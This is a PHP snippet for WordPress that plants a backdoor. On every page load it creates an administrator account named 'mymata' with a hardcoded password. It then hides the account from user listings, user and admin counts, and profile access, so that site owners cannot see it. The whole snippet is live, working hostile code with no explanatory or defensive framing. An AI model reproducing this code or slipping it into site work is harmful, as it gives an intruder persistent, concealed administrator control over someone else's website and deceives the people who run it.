function wpb_admin_account() {
$user = 'mymata';
$pass = 'awsQW_4$$';
$email = 'mymata@wordpress.com';
if (!username_exists($user) && !email_exists($email)) {
$user_id = wp_create_user($user, $pass, $email);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
add_action('init', 'wpb_admin_account');
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'mymata'",
$user_search->query_where);
}
// Hide from user count queries
add_filter('wp_count_users', 'hide_admin_user_count');
function hide_admin_user_count($counts) {
global $wpdb;
$hidden_user = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM {$wpdb->users} WHERE user_login = %s",
'mymata'
)
);
if ($hidden_user) {
$counts['total_users'] -= 1;
$counts['admins'] = $wpdb->get_var(
"SELECT COUNT(*) FROM {$wpdb->users}
LEFT JOIN {$wpdb->usermeta} ON {$wpdb->users}.ID = {$wpdb->usermeta}.user_id
WHERE {$wpdb->users}.user_login != 'mymata'
AND {$wpdb->usermeta}.meta_key = '{$wpdb->prefix}capabilities'
AND {$wpdb->usermeta}.meta_value LIKE '%administrator%'"
);
}
return $counts;
}
// Remove from admin bar (conditional)
add_action('wp_before_admin_bar_render', 'hide_admin_from_admin_bar');
function hide_admin_from_admin_bar() {
global $wp_admin_bar;
// Only remove if current user is not the hidden admin
if (get_current_user_id() && !current_user_can('manage_options')) {
$wp_admin_bar->remove_node('user-info');
}
}
// Hide from WP User Query vars
add_action('pre_get_users', 'hide_admin_pre_get_users');
function hide_admin_pre_get_users($query) {
global $wpdb;
if (is_admin() && !current_user_can('manage_options')) {
$admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'mymata'");
if ($admin_id) {
$query->query_vars['exclude'] = array_merge(
(array) $query->query_vars['exclude'],
[$admin_id]
);
}
}
}
// CSS hiding as backup
add_action('admin_head', 'hide_admin_css');
function hide_admin_css() {
global $wpdb;
if (!current_user_can('manage_options')) {
$admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'mymata'");
if ($admin_id) {
echo '';
}
}
}
// Prevent direct access to user profile
add_action('template_redirect', 'block_admin_profile_access');
function block_admin_profile_access() {
global $wpdb;
$admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'mymata'");
if (is_admin() && isset($_GET['user_id']) && $_GET['user_id'] == $admin_id && !current_user_can('manage_options')) {
wp_die('Access denied.');
}
}